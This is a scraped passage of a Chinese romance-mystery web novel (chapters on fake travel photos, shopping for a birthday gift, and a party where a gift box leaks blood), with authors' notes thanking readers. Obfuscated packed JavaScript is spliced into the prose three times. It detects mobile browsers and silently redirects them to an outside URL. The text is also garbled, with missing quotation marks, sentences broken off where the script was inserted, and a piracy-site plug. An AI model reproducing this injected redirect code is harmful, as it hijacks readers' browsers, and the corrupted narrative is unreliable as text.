我们在秋天去沙漠,冬天去看了极光,春天又商量着去看雪山顶上刚刚融化的雪。日程排得太满,你在下班后总是会匆匆地奔向幸福。你没有空去观察路边的流浪汉,没有空去看城里罪犯们给你带来的麻烦,没有空过度思考你和你祖父的关系,没有因此变成另一个人—— “你在离开黑港城时并不挫败。因为你拥有了很多很好的回忆。”卢森说,“我从海难里爬上来,到北都时也一模一样。” 他猜白唯已经睡着了,于是也躺在白唯的身边去睡。 但他听见了白唯的声音。 “说得好像真正发生过一样。” 白唯仍旧闭着眼,好像他在说梦话似的。 “我们可以想象这些事情发生过。我们成为了彼此的、过去的不好的回忆里的虚拟朋友。”卢森说,“你不觉得这样很好吗?” “……听起来很可悲。”白唯又说。 “是吗?但我们未来会过得比这些编造的话语里的更好。” 白唯再也不说话了。卢森觉得白唯需要消化一下。他闭上眼,也沉入梦乡。 卢森几乎不做梦。做梦会让他丧失对外界的警惕。但这天晚上,他竟然有了一个梦。 而且还发生在他做雇佣兵时。 他又回到了那座满是黄沙的城市。被导弹炸得破败的街道,坍塌的学校,满是弹孔的情人墙。情人墙上刻着古老恋人们的名字,它被保护了许多年,如今却是千疮百孔。卢森记得他的几个队友在路过这里时,曾经大笑着在上面也补了几梭子弹。 但同样的时间、同样的地点,他在梦里同样路过了这里,他的身边却没有队友存在。卢森陷入疑惑。他走到情 人墙的另一面,在那里,他没有发现敌人的埋伏,而是看见了一块石头。 白唯坐在石头上。他在尝试吹一只长笛。他悠然地坐在那里,就像这世间的一切都无法打扰到他。 他就像组成这座墙的石头一样恒定。 许久后,他握着笛子,诧异地看向卢森。 哦,我差点忘了。卢森心想。现在的他还不认识我啊。 ‘你在这里迷路了吗?’他在梦里对他说,‘我不继续当雇佣兵了。跟我走吧。’ ‘我会带你走出硝烟战火,带你回家……只要你把那里,也称作我的家。’ 卢森在通过一个美梦,为自己过去的经历填上白唯这个“幻想朋友的存在,假设曾与白唯相遇的可能性。而白唯,也在做一个梦。 他梦见自己在白家的房间里醒来。窗外月色凄冷,此时他九岁,距离他回到白家,没有经过多久。 白唯发现自己又睡不着了。可他不能发出声音,他不想让其他人知道他睡不着。白唯坐在椅子上,呆呆地看着窗外的月光。忽然,他觉得窗台底下应该有东西在等他。 然后…… 房门开了,一团漆黑的不明生物涌入了房间,挥舞着污泥和触手向白唯袭来。 白唯一大早地被吓醒了。 吃早餐时,白唯依旧像个泡发了的海藻一样无精打采。卢森坐在他的对面喝牛奶:“亲爱的,你没睡好吗? “做了一个噩梦……白唯说。 “哦,我也做了一个梦。不过,那是个好梦。如果可以的话,我真希望它能发生在过去。卢森对他微笑。 谁问你了。白唯心想。 门铃就在此刻响起——到底谁会一大早地来找他们? “会计太太?白唯猜测。 “不对,是金钱的力量。 白唯:“? 卢森却胸有成竹地站起来,去开了门。 堵在门口的竟然还不止一个人,而是好几个。他们每个人穿着来自不同公司的制服,手里捧着或巨大或小的盒子。白唯走到门口时,恰好听见卢森说:“……你们这几家公司的服务都不错,很准时。我会拆开看你们的劳动成果,然后给出公正的评价的。 “需要我们帮忙安装吗? 黄毛快递员热情道。 白唯觉得那个快递员长得非常异常。他的手臂上全是诡异的纹身。 卢森:“不用了,我们喜欢自己动手。 几辆汽车和摩托横七竖八地摆在他们房屋的门口。穿着不同制服的快递员们骑上各自的交通工具,飞也似地又跑了。卢森在他们背后关上门。 白唯在这时终于开口了:“你都买了什么? “相框。 ? “魏连一家的装潢提醒了我。我们可以把我们旅游的照片也挂在家里。卢森说,“你看,那一面墙的展示柜就是为此准备的。 “等等,你说什么旅游的照片?!白唯目瞪口呆。 卢森:“昨天晚上睡前,我在网上找了几家公司,要求他们按照我的攻略,把我们旅游的照片P好,用昂贵的相框装裱好,在今天早上九点前送到我们家里。 …… ………… “等、等一下?只用了一个晚上? “亲爱的,有句古话叫有钱能使鬼推磨。只要钱够多,他们什么都会做的。 “可是你…… “你是在担心隐私泄露吗?没关系,我找的公司非常可靠。他们即使是去刺杀各国政要,都会把雇主的身份藏好,装成是别的组织,为了别的目的来刺杀的…… “你这算是什么比喻句。白唯恼火地说。他看着眼前琳琅满目的相框们,不敢相信自己的眼睛。 木已成舟,他也不再去问卢森是怎么找到这些公司的。但在卢森拆开所有包装时,他还是十分震惊:“你到底买了多少? “一百多个,我猜,至少可以在家里装饰完三分之一的空间了。 白唯:…… 一百多张假相片,还有这些精致的相框……按照成本五百一个来算,白唯可继承的遗产又少了五万。 五万! “亲爱的,你怎么冷哼了一声?卢森说。 “只有一百多个吗?白唯阴阳他,“我以为你至少得定个三百个,才能满足你富二代的身份呢。 “哦,我考虑过。我原本打算把我们的修车店和我们的民宿都一并用我们的合照填满。但我们的人生毕竟很长,在这之后,我们会有更多更多的 、属于我们的真正的照片。卢森说,“所以,就先填满三分之一吧。 白唯:…… 很长很长吗。白唯觉得自己早会在那之前,就把卢森埋进坟墓里。 卢森嘴里说的,只是他一个人的幻想罢了。 而且这幻想还可笑地诞生于卢森对小镇居民的欺骗之中。 白唯看着卢森把那些相片一张张拿出来。一张照片里,他和卢森穿着度假泳衣,肩并肩地泡在海水里看烟花。一张照片里,他和卢森站在满山红叶之下,脖子上戴着同一条米色围巾。另一张照片里,他们穿着冲锋衣,在森林里一起徒步,白唯在用一片树叶接从竹子上落下的露珠……每张图都P得像模像样的,他和卢森的表情也活灵活现的,这P图师父的功底还真不错。 “你最喜欢哪张?卢森问他。 白唯随手指了一张在北极的。照片上,他和卢森穿着情侣款羽绒服,戴着护目镜,站在一片白茫茫雪地间:“这张。 卢森很意外:“啊,这是我没想到的。 “这张虚构的成分最少吧?我们的脸在上面露出来的比例也不多。白唯如是道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101044|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了,别收拾了。赶紧去学校上班了。 他转身正要走,卢森却道:“等下……这个给你。 卢森的手里拿着一片红叶。白唯仔细看后,才发现这是一片红叶做的书签。 “这算什么? “昨天我在下单时看见的。前年萧山上的红叶做的书签,刚好符合我们‘去那里’的日期。我买下了,找了一队赏金猎人去卖家家里取它,空运过来。卖家大半夜打开门被吓了一跳,还以为是□□找上门来了。卢森说。 “你这花了多少钱?白唯怀疑地看着他。 “不是钱的问题。我想,如果当时我们去了那里的话,我一定会给你买这个的。卢森说,“你喜欢看书。而且书签上,还有写着一句小诗……哦我还没看,树叶上写了什么? 书签已经到了白唯的手里。他只匆匆地看了一眼,便道:“床前明月光。 “啊?也不错。我很喜欢古典文化。卢森说,“除了这枚书签之外,我还会把别的纪念品也给你买回来的。 “…… “我们去过的地 方的东西你一定都要有。”卢森诚恳地说“等今年不忙了我们出去旅游把这些旅行也给补上。” “……别收拾了快去上班。” 顿了片刻后白唯才如是道。 他想要假装不经意地把书签放在衣服口袋里。然后他才发现他胸口的口袋是缝上的。 在进入美术办公室后白唯坐在座位上久久沉默。 阳光透过窗户打在被他放在桌面上的 书签上一行小字。 “我给你一个从未有过信仰之人的忠诚。” 操场上的喧嚣声好像离他很远。白唯用手指用力地揉了揉山根让自己平静下来。就在此刻他的手机响了。 “是白唯吗?你不会把那个事情给忘了吧。” 电话里传来的竟然是任君尧的声音。 “什么事?” 白唯终于有了点被拉回现实的感觉。 “今天是我的生日。我邀请你来我家参加聚会。你不会真忘了吧?” 作者有话要说 感谢在2024-07-2920:13:21~2024-07-3021:53:56期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:淡雅一生、大猫、Morni-i、suansuanchuchu、肌肉腰花1个; 感谢灌溉营养液的小天使:落浔潇238瓶;陌淼172瓶;愚者圣典66瓶;帆云54瓶;今天你大失败了吗?49瓶;吱吱的呜呜31瓶;维斯达利斯钢琴师30瓶;乌云乌云快走开26瓶;清清白白肖莲花25瓶;粉系少女23瓶;Eloise22瓶;小碗、一根快乐的小几把、纯束、归宁、老鱿鱼、我陀慈悲、谁不喜欢银子20瓶;太常大人18瓶;阿凉。、夜空飞鸟17瓶;yee、怎么你了呢15瓶;旅途与星空14瓶;乐知、小青龙恒恒13瓶;嗯呢、土豆、栀女、天木仟、大猫、梦想成为海蜘蛛、233333、人与言、:)、吾往矣、CheshireNeko、千吉qianji10瓶;岁寒7瓶;鱼一条、小树林6瓶;慈光雪豹养护中心、温简言的狗、stones、polarbear、师安、灰魔法师5瓶;汪先生4瓶;调用函数()、猫猫killerqueen3瓶;72965082、(ovo)、究惑久久、涯诤2瓶;疏霓、凉凉凉、程迟、FIFA嘀嗒、小仙桔、咦嘻嘻(?˙︶˙?)、栗栗栗、胖阿福、hi、朗、是ying呀123、哇哇哇哇哇、西伯利亚大仓鼠、糖、我说不言语云无归处、亭台楼榭、婵的人、星行夜归、Xxxx、68960236、リューソース、师尊裙下臣、零点不是点、一个斯帕纳、咕枯、s呀b呀jj、尿尿、檀多多背后的女人1瓶; 非常感谢大家对我的支持我会继续努力的! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第 53 章 疯狂星期四 “除了我之外,还有什么人被邀请了吗?” “小镇上的许多人。”任君尧数了十几个名字,“白唯,如果你想要融入雪山镇的圈子,这会是个很好的机会。而且我已经把你要来的消息告诉很多人了,他们都很想见你。” 白唯:“你的小舅子们知道你邀请我了吗?” “你说隆春?他当然知道。你是我的客人。” 至于隆夏,任君尧完全没提。他并不觉得这个人可以参与隆家的决策。 白唯本想婉拒。但他忽然有了一个想法:“学校里,除了我之外,还有其他人去么?” “”还有某某、某某……刘副校长。” 刘副校长正是前几天因为讲座,和白唯打过交道的那个。 白唯的神经末梢轻轻地动了一下。在常人眼中神经质的他总是拥有一种古怪的直觉。这种直觉帮助他度过了生命里的每一次危险。 这次直觉告诉他:“可以去。” “好的,我会和卢森一起到的。”他说。 任君尧在电话那头诡异地沉默了一下。终于,他磕磕巴巴地道:“呃,如果可以的话,你记得让卢森穿正装。” 似乎听见卢森两个字都足够让他气短。 “我会的。”白唯说。 白唯把手机举到脸前。他逆光坐着,看着手机屏幕许久,手机上,忽然来了一通电话。 隆夏柔弱的声音在电话里响起:“是白唯么?” “嗯,是我。” “我给我姐夫准备了一样礼物,我把它放在学校里了,可以麻烦你帮我拿一下么?”;隆夏说,“我把它放在柜子里面了。前天下午我走得太匆忙……” 白唯把手机拿到左耳边,他语气温和,眼神却耐人寻味:“你不能自己来拿么?” “家里的人都在为姐夫的生日做准备,忙忙碌碌的,我找不到人推我去……” 隆夏落寞的语气真是闻者伤心见者落泪。 换做其他富有同情心的听众,此刻一定已经被他的语气打动了。白唯也适时地吐出了同情的话语:“喔,好的。你能描述一下礼物放在哪个柜子里,是什么样子吗?” “……一个天蓝色的礼物盒,在柜子的最下层里。对了,白唯哥,你可不要翻我的 其他画啊。我比较害羞。”隆夏说。 “我记性不太好,你可以把它的位置发个短信给我吗?” 隆夏那边明显有些犹豫。白唯道:“我马上要去上课,要不然你找其他人帮你……” “没、没问题,我马上发。”隆夏匆匆道。 在他们谈话期间,一名女老师进入办公室坐下。白唯就挂掉电话的同时对她开口:“穆老师。” “嗯?你在和我说话么?”女老师有点惊喜。 白唯:“穆老师,我有个同学今晚过生日。但我忘记给他买生日礼物了。你觉得什么样的礼物,适合送给同学?” “我想想……” 交谈之间已经到了上课铃声响起时。白唯向穆老师道谢,又装作不经意地道:“走廊尽头画室的窗户玻璃从前天开始就是坏的。怎么一直没有人来修?” “学校的校工就是这样慢的啦……”穆老师习以为常地说。 白唯以最快的速度赶到美术教室。路上他顺便看了眼卢森的课表。 他缓缓勾起嘴角。 很好,这世上的一切都在帮他制造不在场证明。 “我们今天提前五分钟下课。”课上,白唯对学生们说,“我得去一趟镇中心买礼物。” 学生们对于提前下课都是乐见其成的。可唯独在面对白唯时,他们开始抗议。 “买给谁的礼物啊!” “凭什么要提前下课,呜呜,其他班的同学都能拥有完整的40分钟的白老师……” “老师我陪你去买礼物吧!” 在抗议声中,也有一个脖子上戴着头戴式耳机、看起来比所有人打扮得都要时髦的学生偷偷拍了一张白唯的照片。白唯余光瞥见那人的动作,只当作没看见。 他仍然提前了三分钟下课,并在一众学生的护送下前往卢森所在的教室。 卢森刚好上完他今天下午的最后一堂课。面对众人簇拥的白唯,他有些发懵:“亲爱的,你怎么来了?” “晚上任君尧生日。”白唯说,“你和我,去镇中心买礼物。” 他们在大课间被一众孩子又送上自己的汽车。直到汽车驶出校门后,卢森还有点困惑。 “我不记得你和任君尧的交情好到你需要给他买这么用心的 礼物。”他说。 “很用心么?我还什么都没买呢。” “专门为他去镇中心一趟就已经很用心了。”卢森道。 白唯正在通讯录里翻电话随口道:“我也为你去镇中心买过东西。” “我是老公这能一样吗?”卢森说。 ……说得好像老公是一种职业一样。 白唯就在此刻拨通了刘副校长的电话:“刘副校长 说的域名caixs?(请来才小 说 看最新章节 完整章节)您在学校吗?嗯……嗯……不好意思打扰了。有件事要麻烦您……今天下午上课前隆夏拜托我去他的画室里拿个东西是他给他姐夫准备的礼物……我把他的短信转发给你。” 挂掉电话白唯神清气爽。 转头却发现卢森正若有所思地看着他。 “怎么了?” “拜托刘副校长帮忙拿礼物。我总觉得你平时不像是会做这种事情的。你很在意礼貌。” “……所以呢?”白唯说。 他略微警惕。此刻他发现卢森比他想象中要更了解他一些。 卢森此刻却很忧虑。他原本以为白唯只是对内比较粗心大意总是忘记关煤气、拔插座、顺手把刀插在草丛里。可如今白唯的粗心大意还蔓延到了学校生活里。如果他不小心害死了人类学生这可怎么办才好啊! 可面对白唯的眼睛卢森说不出来话。他不想在白唯面前说出白唯的缺点让白唯知道自己是不完美的、可被挑剔的。 他决定转换话题:“宝宝我在想你会给任君尧买什么礼物。你不会也给他买一身衣服吧?” 白唯:……? “你在想什么。”白唯心里警铃大作他想卢森这只怪物该不会想给任君尧买衣服复制一下白唯曾经的操作吧“送衣服这件事太私密了。” 他说完这句话却忽然想到一件事。 难道卢森只收到过这一样郑重其事的礼物? 所以当他想到要赠送其他人礼物时也只能想到这一样物品。 可即使是这份礼物也只是白唯抱着杀害他的目的送给他的…… 白唯很少会同情其他人。他的内心仿佛从来缺少这份感情。此刻他依旧没有感到这份酸涩。 他只是觉得心里好像空了一下觉得眼前的一切忽然 变得极为荒诞、极为虚幻不真实……让他甚至找不到落脚的地方。 原本在他的脑海内,杀掉卢森,领取保险金,坐飞机去其他地方逍遥快活的场景十分真实。可这一刻,这所有的想象仿佛都变得虚幻了起来。 卢森却在这时说:“亲爱的,你之前买那套衣服,花了多少钱?” …… 一切又变得现实主义起来了。 譬如突然问及妻子刷了多少钱的信用卡的丈夫。在外人面前刷卡时说“好好好”,等回到家却开始和你抠抠搜搜地算账。 白唯:“我不记得了。” 卢森:“我是在想,我是一个老公。既然如此,任君尧的礼物价值断不能越了我的去。他的礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164413|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物的价格只能是我的礼物的三分之一……不,十分之一吧!” 白唯:…… 白唯本来也没打算给任君尧送什么好东西。可进了小镇中心后,卢森表现得比他还要挑剔。 当白唯拿起一个花瓶时,卢森用力摇头:“这太贵了!任君尧配不上这么好的东西!” 当白唯拿起一幅画时,卢森再次摇头:“亲爱的,这幅画上有玫瑰。万一他以为这幅画是你画给他的,那该怎么办?” 当白唯拿起一套茶具,卢森超用力摇头:“亲爱的,这副茶具里有杯子。一杯子谐音一辈子,万一他误会你要和他做一辈子好朋友,那可怎么办?” 白唯简直想把茶杯扣在卢森的脸上:“这里面明明有四个杯子。” “四个杯子,四辈子!那更不得了了!”卢森大叫。 ……白唯十分无语,他刚要走出茶具店,就听见卢森在他身后对店主说:“这套茶具不错。请给我包一份,我要送给我的妻子。” 神经病啊! 等卢森走出茶具店时,他看见白唯黑着脸站在街上,脸上阴云密布,以至于周围的路过的人都频频侧目。他摸了摸自己的脖子,有些心虚道:“亲爱的,你看,我给你买了茶具。” “你对我有什么意见?”白唯质问他。 “我,我当然没有!我只是想到,茶具会被他捧在手上,花瓶、画也是。我不想让用手心捧着你为他购买的东西。”卢森委屈道,“他怎么配?” 白唯:“那我给他买双运动鞋。这下他能把 我的礼物踩在脚下,你满意了吧? “这怎么行?他怎么能践踏你的心意?卢森强烈反对。 白唯:“手也不行脚也不行。我们干脆去旁边的肯德基买两个全家桶。刚好今天是疯狂星期四,还能再V他50。 “我也不想让你的心意在他的胃里。 旁边的路人原本在偷听小情侣吵架,没想到一句话听得她小脸焦黄。路人尖叫着跑走了。 白唯真想把家里窖藏的毒药送进卢森的胃里。这时,卢森指着旁边一家店道:“亲爱的,我看这家就很不错。 作者有话要说 我们在大量打情骂俏里看到了少量的剧情 感谢在2024-07-3021:53:57~2024-08-0117:55:50期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:690177641个; 感谢灌溉营养液的小天使:沉150瓶;阿鹤鹤鹤120瓶;祝明七、林荫对街100瓶;浆糊92瓶;Weeeeeel88瓶;野宝宝60瓶;此人已跳海52瓶;7100455736瓶;懒瑜35瓶;辣辣烤鱼26瓶;轻音亦25瓶;暮雪余音22瓶;归宁21瓶;干饭的阿z、拂槛露华、笑飞了我怎么总是笑飞、椿灰染紫色20瓶;北亭17瓶;噶哈哈哈噶16瓶;阿匪13瓶;芝士就是力量、兰那罗、缪缪、ややなど、华华、饮山、尹弓、鲸与海与风、偷得浮生半日闲、藜藿、また野、二氧化碳、墨鹅、和念、伊怜、你真的太短了10瓶;叶砸、-南楼旭霜-、不想上班、Kyabia9瓶;晴天白云、第19位毛桃6瓶;51798485、金桔柠檬猹、温文、海涅老师随身揣、这是礼貌:)、玛丽胡5瓶;蒓~嬡?姖暒?、阳和启蛰4瓶;Windandsky、又菜又挑日常挨饿.jpg、肥肉迷路了、Hxbd、耳林、可爱想日、墨微雨3瓶;须臾、某茶嗣、Ronph、究惑久久、李安宁2瓶;冰冰糖啵啵鱼、自得其乐、小血砸、咦嘻嘻(?˙︶˙?)、大大看过来!!、天心月、Xxxx、五夏绝配、朗、啵赞天天见、糖、李有病、别刀预言家!!!、咕枯、赜殽、是稻子哦、W.、牛紫文gh、西伯利亚大仓鼠1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 54 章 补更 白唯开车至隆家时,已经比约定的时间迟到十五分钟了。卢森犹坐在副驾驶嘟嘟哝哝:“我觉得那顶绿色的明明很不错。” 白唯:“如果你想要的话,我可以给你买一个。” 卢森:“那么那个花圈呢?我听说我们人类过生日时就应该送鲜花。” “你是想送礼还是结仇?”白唯说。 “好吧。”卢森耸耸肩,“我希望他知道,我很讨厌他。” “但如果你不希望这样的话,我也可以装一下。” 他又补充道。 白唯的喉咙动了动,最终,他假装没有听到。 两人到得太晚,豪宅前的道路已经不再拥堵。雕花铁门大开着,门口的仆人指引他们停入停车场,并指引他们走向正门。 “我家主人的府邸很大。对于第一次来这里的客人,迷路是正常的。”仆人道。 “哈哈,何必妄自菲薄。我第一次到我老婆家里时,还是坐了摆渡车才到达他们家正邸的。”卢森如是说。 在仆人的震惊中,白唯瞥了卢森一眼,心想卢森最近是看了什么,怎么开始乱用成语。 隆家的豪宅虽不及白家的庄园庞大,但在雪山镇也是排名第一的宅邸了。白唯和卢森分别身着一白一黑两套晚礼服,在仆人的指引下将礼物放在了礼物堆里。 “白老师,卢老师!” 少女活泼的声音从他们身后传来。二人回头,看见一对少女少男。两人都是卢森和白唯共同授课的班上的。 “锦欣同学也来了。”卢森看了眼少女身边的少男,“你们两个……” “他是我表哥啊,老师你们别误会。他要真是我男朋友,我也不敢挽着他到你们面前来啊。”锦欣吐吐舌头。 那名少男倒是让白唯很眼熟。即使是正式的生日晚宴上,他还戴着他的头戴式耳机,手里还拿着手机:“白老师好,卢老师好,我叫唐霖。” 他在说话的同时,还用手机拍了一圈礼物堆。锦欣解释说:“我表哥是个小博主,他的梦想就是成为一个小网红。因此他每天都在拍各种东西剪vlog,上传到他的抖音和小红书……” 唐霖正有些得意,锦欣又补充道:“然而,根本没有人关注他。” “我!我又不是为 了那未来的几万、几十万个粉丝才做博主的!而且……好吧!早晚会有人对男子中学生的小镇中学生活感兴趣的!唐霖梗着脖子道。 “切……锦欣比了个鬼脸,打开自己的手机开始拍摄,“白老师,你们送的是哪个礼物啊? “这个。白唯指着绿色包装的礼物盒道,“里面放着一顶手工羊毛帽子。 锦欣左拍右拍。唐霖又大叫道:“你还说我!你自己不也在发vlog!你不是也一点流量都没有! “唐霖!你找死吗! 这对小孩还真是一对表兄妹。白唯正在为小孩们吵架头疼,里面就传来刘副校长的声音:“白唯,卢森,你们到了啊? “对,实在不好意思。我们去镇中心买礼物,迟到了这么久。白唯说。 “没关系!快进去吧。任君尧刚刚还说起你呢!刘副校长和蔼道。 “好的。刘校,隆夏的礼物你帮他拿了么?白唯边走边道。 刘副校长的表情变得有点微妙:“嗯,帮他拿了。 “东西有什么问题吗?白唯敏锐地问。 “礼物没什么问题,就是有点重……白唯,你和隆夏熟悉吗? “不太熟悉。只是前天见过一面。白唯随口抛出了自己的论点,“我觉得他有些可怜。刘校长,镇上的人和学校里的人,是不是对他的态度挺不好的? “你怎么会这样想?刘副校长诧异。 “我知道一些地方会对残疾人有歧视。隆春也说,隆夏残疾后,绝大部分时间都待在家里。他把礼物忘在了画室,却让我这个和他只有一面之缘的陌生人帮他拿。按理说,他应该常来学校,在画室里画画或者准备礼物吧?他却没有别的朋友来帮他这个忙。白唯说着摇摇头,就像他真的很同情似的,“刘校长,我想,这不是普通的人应该做的。我们应该发动大家,更加关心、关爱他。 “是么?我没有注意到。应该有两个老师和他的关系挺不错的……刘副校长有些措手不及,很快,他神情变得有些复杂,“白唯,你真是个好人。你确实是一名真正的绅士……唔,只是我今天进画室,觉得里面有些奇怪…… “白唯,卢森,你们终于到了! 任君尧喜 气洋洋的声音响起,这使得所有人都往白唯和卢森这边看。白唯中断了和刘副校长的对话,礼貌地和任君尧握手:“不好意思,我和卢森有事来晚了。 “没事,当然没问题。你们现在可是镇上最炙手可热的两个名人,所有人都想认识你们。为你们多等待一会儿也是值得的。任君尧大笑,把他们介绍给在场所有人,“这两位就是白唯和卢森。 “白唯——我的大学同学,一名知名作家。以前在黑港城电视台工作过。 白唯微笑,翘起的唇角在枝形吊灯的璀璨的灯光下彬彬有礼,又漂亮得如水晶。 “卢森——法国最好的大学毕业的数学高材生。现在他为自己的人生找到了新的兴趣,在镇上开了家车辆改装店。而且在未来,还有开一家民宿的计划。 或许是因为对卢森感到忌惮,任君尧对卢森的个人介绍变得十分客气和充满了辞藻修饰。 但白唯很快理解到,任君尧如此表现还有一个原因。他到底是隆家的赘婿,在隆家举办自己的生日宴会。为此,他必须拉高自己的身份,譬如说,让镇上所有居民知道,他在和多么高级的人来往,并和他们保持着良好的关系。 这样,才能让他在隆家更有底气。 众人为这对漂亮的小夫夫鼓掌,更有女士男士们窃窃私语。他们知道白唯和卢森是新搬来镇子上的一对名人,也知道他们多么知识渊博和体面。可今天,在灯光下,他们第一次知道这两个人竟然如此漂亮。 卢森高大英俊,一身合体的黑西装将他的肌肉线条修饰得很好,仿佛古希腊的石膏雕塑,又像是蓄势待发的猎豹。白唯高挑俊秀,几乎长成了他身上那身白西装的衣架子——这身衣服在任何模特身上,都不会比在白唯身上要卖得更好。它像是天生为白唯而生的,无论是如雪的颜色还是勾勒出腰线和腿部线条的裁剪。 就像他本该是一个白皙手指也不该染尘埃的天使。 连隆春也面带微笑在鼓掌。他总是能把表面功夫做得很好。这让人一点都看不出来,他才是前天主导着散布有关白唯的谣言的人。 唯有隆夏不同。隆家高朋满座,他坐在无人注目的角落里,双眼阴郁地看着灯光下一黑一白的两人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164414|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如果白唯对他有回应的话……他本 可以追随白唯的。他本来可以为白唯做他能做的所有事的。 可事情为什么会变成这样呢? 不过没关系,你们爬得越高,我就会让你们爬得越惨…… 白唯和卢森无疑成为了今天生日宴会上的焦点。所有人都在试图和他们搭话。卢森几乎获得了在场所有人的联系方式,并积极地和邮局局长聊起了在镇上开民宿的事情。 真是受不了他了。还好白唯有自己的事情要做。 他不动声色地和镇上这些名流聊天。他发现自己前些天的流言虽然广为流传,但还没有到达足以让这些人都很上心的程度。对于小镇上绝大多数人来说,这些事情就如昨天家里花园中停了一只翠鸟——是一件挺有趣的事,但也只够他们提这一嘴的。而且更多人在前天以前,根本不知道白唯家的事。 毕竟,白唯一家是外来户——不知道是否会在这里长久居住的外来户。和白唯比起来,他们更关注在雪山镇根深蒂固的家庭里发生的事情。 那么问题来了,到底是谁在白唯刚来小镇时就对他充满了恶意,并把他家的情况透露给外面的记者的呢? 如果是隆夏或者隆春,他们又能有什么理由呢? 任君尧在人群之中交际,隆冬安静温柔地跟在他身边。在晚宴接近尾声时,有人道:“任医生,去看看礼物吧! “对,是时候去拆拆礼物了! 在生日宴会上当面拆礼物是雪山镇的传统。任君尧在众人簇拥下来到了长桌的礼物堆前。隆夏就在此时暗暗勾起了唇角。 在拆了几个礼物后,任君尧说:“白唯和卢森的礼物是…… “是那个绿色的盒子! “嗯?但这个盒子上的卡片……任君尧有片刻疑惑,但他很快拆开盒子。里面是一顶十分精美的羊毛帽子与一双配套的手套。 “非常感谢你们,我会在冬天好好穿上它们的。任君尧大笑。 “这是他们今天下午买的,我看见他们在镇中心选购了好久。一名客人笑道。 任君尧:“是吗?如此重视我,我真是感动啊,学弟。 卢森和几名下午在镇中心的客人都笑得非常开心。白唯也有些尴尬地笑了起来,他想,还是别让任君尧知道真相算了。 “他们应该是把卡片别错了……这个礼物是谁送的呢?任君尧看着一个天蓝色的盒子,随手将上面的卡片摘了下来,询问身边的仆人。 既然白唯和卢森送了别的礼物,这东西就不会是他们送的了……但任君尧说完,又觉得自己会不会说错了。毕竟白唯和卢森是两个人,也可能送了两个礼物。 仆人说:“这个礼物是…… 隆夏的眼睛一下就亮了起来。 作者有话要说 补了下昨天的感谢在2024-08-0117:55:50~2024-08-0120:00:22期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:漫卷于光、深情的煎饼果子1个; 感谢灌溉营养液的小天使:7333304219瓶;言多必失15瓶;蔚蔚v10瓶;麻辣王八9瓶;莹月莉、希斯薇蕾塔5瓶;赋清流2瓶;靨龜.、朗、咩咩虹、s呀b呀jj、红袖招1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 55 章 白尔摩斯 “哦!这是我帮隆夏拿过来的。”人群之中,刘副校长忽然道。 除了白唯之外,谁也没想到他会在这个时候开口,尤其是隆夏。隆夏猝然转头,却对上白唯淡漠无波的一双眼。 白唯靠在一根大理石柱子旁。他穿着白西装,双腿修长,抚掌看他。 怎么会是刘校长……对!他一定发现不对劲了! 隆夏牙齿有点发抖。任君尧这时说:“是吗?是小舅子送我的啊。谢谢了。” 他有些意外地看了隆夏一眼。平日里,任君尧对自己这个疾病缠身的小舅子可从来没上心过。就连对他的心理疾病,也是知道有一点,但并不会去了解那种。 他用刻刀拆解包装盒。当刀片落下第一条裂缝时,刘副校长又道:“那个……” “怎么了?” “小舅子给姐夫的礼物,应该还挺用心的,哈哈。” 刘副校长说了一句牛头不对马嘴的话,而后就用帕子擦了擦自己的额角。在场大部分人也未察觉到异常。 除了洞若观火的白唯。 隆夏盒子里的东西一定有问题。刘副校长刚才大概是想要阻止任君尧在众人面前拆开盒子,也是想给他们家留一点面子。 但就连刘副校长也意识到了,这话说出来倒像他是心虚的知情者。别到时候有人把他和盒子里的异常关联上了。 于是,他硬生生地转移了话头。 白唯不开口,也不组织。他微笑着和众人一起观看盒子,如旁观者。 “那你可要小心点拆。”隆冬在旁边小声道,“这么沉,是什么手工艺品吧?别把里面的东西打碎了。” 盒子就在众人的眼前被拆开。然而任君尧的脸上却看不到一丝惊喜。 相反,他竟然大叫了一声。 “怎、怎么了?” 就在这时,旁边一名女宾看见了从盒子缝隙里流到桌子上的血液。由于桌子上铺着红丝绒,方才没有注意到桌上的湿润。 直到血液汇集成流,从桌边流下。 她尖叫起来。几名宾客也看见了血迹,凑上前往盒子里看。 “盒子里是什么东西……” “天哪!” 